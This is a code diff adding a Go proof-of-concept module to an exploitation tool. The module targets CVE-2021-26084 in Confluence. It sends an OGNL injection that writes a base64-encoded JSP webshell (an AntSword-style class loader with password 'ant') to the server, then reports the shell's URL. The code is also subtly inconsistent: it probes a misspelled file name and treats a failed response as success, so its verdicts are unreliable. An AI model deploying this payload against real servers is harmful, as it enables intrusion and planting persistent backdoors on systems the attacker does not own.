|  | 
|  | 1 | +package poc | 
|  | 2 | + | 
|  | 3 | +import ( | 
|  | 4 | +	"github.com/SummerSec/SpringExploit/cmd/commons/utils" | 
|  | 5 | +	"github.com/fatih/structs" | 
|  | 6 | +	"github.com/imroc/req/v3" | 
|  | 7 | +	log "github.com/sirupsen/logrus" | 
|  | 8 | +	"net/url" | 
|  | 9 | +) | 
|  | 10 | + | 
|  | 11 | +type CVE202126084 struct{} | 
|  | 12 | + | 
|  | 13 | +func (p CVE202126084) SendPoc(target string, hashmap map[string]interface{}) { | 
|  | 14 | +	reqinfo := NewReqInfo() | 
|  | 15 | +	reqmap := structs.Map(reqinfo) | 
|  | 16 | +	u := target + "pages/doenterpagevariables.action" | 
|  | 17 | +	shell := "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZhLnV0aWwuemlwLioiJT4NCjwlIQ0KICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgew0KICAgIFUoQ2xhc3NMb2FkZXIgYykgew0KICAgICAgc3VwZXIoYyk7DQogICAgfQ0KICAgIHB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKSB7DQogICAgICByZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOw0KICAgIH0NCiAgfQ0KICBwdWJsaWMgYnl0ZVtdIGRlY29tcHJlc3MoYnl0ZVtdIGRhdGEpIHsNCiAgICBieXRlW10gb3V0cHV0ID0gbmV3IGJ5dGVbMF07DQogICAgSW5mbGF0ZXIgZGMgPSBuZXcgSW5mbGF0ZXIoKTsNCiAgICBkYy5yZXNldCgpOw0KICAgIGRjLnNldElucHV0KGRhdGEpOw0KICAgIEJ5dGVBcnJheU91dHB1dFN0cmVhbSBvID0gbmV3IEJ5dGVBcnJheU91dHB1dFN0cmVhbShkYXRhLmxlbmd0aCk7DQogICAgdHJ5IHsNCiAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVsxMDI0XTsNCiAgICAgIHdoaWxlICghZGMuZmluaXNoZWQoKSkgew0KICAgICAgICBpbnQgaSA9IGRjLmluZmxhdGUoYnVmKTsNCiAgICAgICAgby53cml0ZShidWYsIDAsIGkpOw0KICAgICAgfQ0KICAgICAgb3V0cHV0ID0gby50b0J5dGVBcnJheSgpOw0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7DQogICAgICAgIG91dHB1dCA9IGRhdGE7DQogICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7DQogICAgfSBmaW5hbGx5IHsNCiAgICAgIHRyeSB7DQogICAgICAgICAgby5jbG9zZSgpOw0KICAgICAgfSBjYXRjaCAoSU9FeGNlcHRpb24gZSkgew0KICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGRjLmVuZCgpOw0KICAgIHJldHVybiBvdXRwdXQ7DQogIH0NCiAgcHVibGljIGJ5dGVbXSBiYXNlNjREZWNvZGUoU3RyaW5nIHN0cikgdGhyb3dzIEV4Y2VwdGlvbiB7DQogICAgdHJ5IHsNCiAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOw0KICAgICAgcmV0dXJuIChieXRlW10pIGNsYXp6LmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgU3RyaW5nLmNsYXNzKS5pbnZva2UoY2xhenoubmV3SW5zdGFuY2UoKSwgc3RyKTsNCiAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgew0KICAgICAgQ2xhc3MgY2xhenogPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7DQogICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsNCiAgICAgIHJldHVybiAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpbmcuY2xhc3MpLmludm9rZShkZWNvZGVyLCBzdHIpOw0KICAgIH0NCiAgfQ0KJT4NCjwlDQogIFN0cmluZyBjbHMgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiYW50Iik7DQogIGlmIChjbHMgIT0gbnVsbCkgew0KICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGRlY29tcHJlc3MoYmFzZTY0RGVjb2RlKGNscykpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7DQogIH0NCiU+" | 
|  | 18 | +	// DoRunning.jsp | 
|  | 19 | +	data := "queryString=\\u0027%2b#{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var b64Shell=\\u0027" + url.QueryEscape(shell) + "\\u0027;var shell=new java.lang.String(java.util.Base64.getDecoder().decode(b64Shell));var f=new java.io.FileOutputStream(new java.io.File(\\u0027../confluence/testAnt.jsp\\u0027));f.write(shell.getBytes());f.close();\\u0022)}%2b\\u0027" | 
|  | 20 | +	reqmap["url"] = u | 
|  | 21 | +	reqmap["method"] = "POST" | 
|  | 22 | +	reqmap["body"] = data | 
|  | 23 | +	reqmap["headers"] = map[string]string{ | 
|  | 24 | +		"User-Agent":   utils.GetUA(), | 
|  | 25 | +		"Content-Type": "application/x-www-form-urlencoded", | 
|  | 26 | +	} | 
|  | 27 | + | 
|  | 28 | +	// 默认配置 | 
|  | 29 | +	reqmap["timeout"] = hashmap["Timeout"].(int) | 
|  | 30 | +	reqmap["retry"] = hashmap["Retry"].(int) | 
|  | 31 | +	reqmap["proxy"] = hashmap["Proxy"].(string) | 
|  | 32 | +	reqmap["mode"] = hashmap["Mode"].(int) | 
|  | 33 | + | 
|  | 34 | +	file := hashmap["Out"].(string) | 
|  | 35 | +	utils.Send(reqmap) | 
|  | 36 | + | 
|  | 37 | +	reqmap["url"] = target + "DoRnning.jsp" | 
|  | 38 | +	reqmap["body"] = "pass" | 
|  | 39 | + | 
|  | 40 | +	resp := utils.Send(reqmap) | 
|  | 41 | + | 
|  | 42 | +	if p.checkExp(resp, target, file) { | 
|  | 43 | +		context := target + " 存在CVE-2021-26084漏洞!" + target + "testAnt.jsp 蚁剑密码 ant " | 
|  | 44 | +		log.Info(context) | 
|  | 45 | +		p.saveResult(target, file) | 
|  | 46 | +	} | 
|  | 47 | + | 
|  | 48 | +} | 
|  | 49 | + | 
|  | 50 | +func (CVE202126084) init() { | 
|  | 51 | +	log.Debugf("CVE-2021-26084 init") | 
|  | 52 | +} | 
|  | 53 | + | 
|  | 54 | +func (CVE202126084) saveResult(target string, file string) { | 
|  | 55 | +	utils.SaveToFile(target, file) | 
|  | 56 | +} | 
|  | 57 | + | 
|  | 58 | +func (CVE202126084) checkExp(resp *req.Response, target string, file string) bool { | 
|  | 59 | +	if !resp.IsSuccess() { | 
|  | 60 | +		log.Debugf(resp.Dump()) | 
|  | 61 | +		return true | 
|  | 62 | +	} | 
|  | 63 | + | 
|  | 64 | +	return false | 
|  | 65 | + | 
|  | 66 | +} | 
0 commit comments